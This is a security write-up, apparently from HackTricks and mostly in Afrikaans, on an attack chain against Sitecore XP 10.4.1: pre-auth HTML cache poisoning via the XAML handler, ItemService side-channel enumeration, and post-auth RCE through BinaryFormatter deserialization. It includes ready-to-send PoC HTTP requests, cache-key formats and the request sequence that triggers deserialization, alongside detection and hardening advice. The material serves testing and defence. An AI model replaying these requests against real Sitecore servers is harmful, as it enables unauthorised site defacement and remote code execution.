Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE

Reading time: 7 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Hierdie bladsy som 'n praktiese aanvalsketting teen Sitecore XP 10.4.1 op wat skuif van 'n pre‑auth XAML handler na HTML cache poisoning en, via 'n authenticated UI flow, na RCE deur BinaryFormatter deserialization. Die tegnieke generaliseer na soortgelyke Sitecore weergawes/komponente en bied konkrete primitives om te test, detect en harden.

  • Aangetaste produk: Sitecore XP 10.4.1 rev. 011628
  • Reggestel in: KB1003667, KB1003734 (Junie/Juli 2025)

Sien ook:

Cache Poisoning and Cache Deception

Deserialization

Pre‑auth primitive: XAML Ajax reflection → HtmlCache write

Ingangspunt is die pre‑auth XAML handler wat in web.config geregistreer is:

xml
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />

Toeganklik via:

GET /-/xaml/Sitecore.Shell.Xaml.WebControl

Die control tree sluit AjaxScriptManager in wat, by event-versoeke, aanvaller‑beheerde velde lees en reflektief metodes op geteikende controls aanroep:

csharp
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"];      // target control
string text     = page.Request.Form["__PARAMETERS"];  // Method("arg1", "arg2")
...
Dispatch(clientId, text);

// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);

// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}

Belangrike waarneming: die XAML-bladsy sluit 'n XmlControl-instantie in (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl stam af van Sitecore.Web.UI.WebControl ('n Sitecore-klas), wat die ReflectionUtil.Filter allow‑list (Sitecore.*) deurlaat en sodoende metodes op Sitecore WebControl ontsluit.

Magiese metode vir poisoning:

csharp
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}

Omdat ons xmlcontrol:GlobalHeader kan teiken en Sitecore.Web.UI.WebControl methods by name kan aanroep, kry ons 'n pre‑auth arbitrary HtmlCache write primitive.

PoC request (CVE-2025-53693)

POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Aantekeninge:

  • __SOURCE is the clientID of xmlcontrol:GlobalHeader within Sitecore.Shell.Xaml.WebControl (commonly stable like ctl00_ctl00_ctl05_ctl03 as it’s derived from static XAML).
  • __PARAMETERS format is Method("arg1","arg2").

Wat om te vergiftig: Opbou van cache-sleutel

Tipiese HtmlCache-sleutelopbou wat deur Sitecore controls gebruik word:

csharp
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData)        k += ResolveDataKeyPart();
if (this.VaryByDevice)      k += "_#dev:"   + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin)       k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser)        k += "_#user:"  + Sitecore.Context.GetUserName();
if (this.VaryByParm)        k += "_#parm:"  + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:"   + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}

Voorbeeld van geteikende poisoning vir 'n bekende sublayout:

__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Enumerering van cacheable items en “vary by” dimensies

As die ItemService (mis)blootgestel is anoniem, kan jy cacheable komponente opnoem om presiese sleutels af te lei.

Vinnige probe:

GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required

Lys cachebare items en vlae:

GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100

Soek na velde soos Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Toestelname kan geënumeer word via:

GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100

Side‑channel enumeration onder beperkte identiteite (CVE-2025-53694)

Selfs wanneer ItemService as 'n beperkte account optree (e.g., ServicesAPI) en 'n leë Results array teruggee, kan TotalCount steeds pre‑ACL Solr hits weerspieël. Jy kan brute‑force item groups/ids met wildcards en kyk hoe TotalCount konvergeer om interne inhoud en devices in kaart te bring:

GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item

Post‑auth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)

Sink:

csharp
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));

Bereikbaar via die convertToRuntimeHtml pipeline step ConvertWebControls, wat soek na 'n element met id {iframeId}_inner en base64 decodeer + deserialiseer, en dan die resulterende string in die HTML invoeg:

csharp
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2   = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);

Trigger (geauthentiseer, Content Editor regte). Die FixHtml dialoog roep convertToRuntimeHtml aan. Eind-tot-eind sonder UI clicks:

// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx

// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>

// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}

// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...

Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. Die string se inhoud word in die HTML geskryf deur ConvertWebControls nadat deserialisering‑side‑effekte uitgevoer is.

Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Volledige ketting

  1. Pre‑auth aanvaller vergiftig HtmlCache met arbitrêre HTML deur reflectief WebControl.AddToCache aan te roep via XAML AjaxScriptManager.
  2. Vergiftigde HTML dien JavaScript op wat ’n geauthentiseerde Content Editor‑gebruiker deur die FixHtml‑vloei aanmoedig.
  3. Die FixHtml‑bladsy aktiveer convertToRuntimeHtml → ConvertWebControls, wat deur die aanvaller beheerde base64 via BinaryFormatter deserialiseer → RCE onder die Sitecore app pool‑identiteit.

Opsporing

  • Pre‑auth XAML: versoeke na /-/xaml/Sitecore.Shell.Xaml.WebControl met __ISEVENT=1, verdagte __SOURCE en __PARAMETERS=AddToCache(...).
  • ItemService probing: pieke in /sitecore/api/ssc wildcard‑navrae, ’n groot TotalCount met leë Results.
  • Deserialisering‑pogings: EditHtml.aspx gevolg deur FixHtml.aspx?hdl=... en ongewone groot base64 in HTML‑velde.

Verharding

  • Pas Sitecore‑patches KB1003667 en KB1003734 toe; gate/deaktiveer pre‑auth XAML‑handelaars of voeg streng validering by; moniteer en rate‑limit /-/xaml/.
  • Verwyder/vervang BinaryFormatter; beperk toegang tot convertToRuntimeHtml of dwing sterk bediener‑kant validering van HTML‑bewerkingsvloei af.
  • Sluit /sitecore/api/ssc af tot loopback of geauthentikeerde rolle; vermy impersonation patterns wat TotalCount‑gebaseerde side channels leak.
  • Handhaaf MFA/least privilege vir Content Editor‑gebruikers; hersien CSP om die JS‑steering‑impak van cache poisoning te verminder.

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks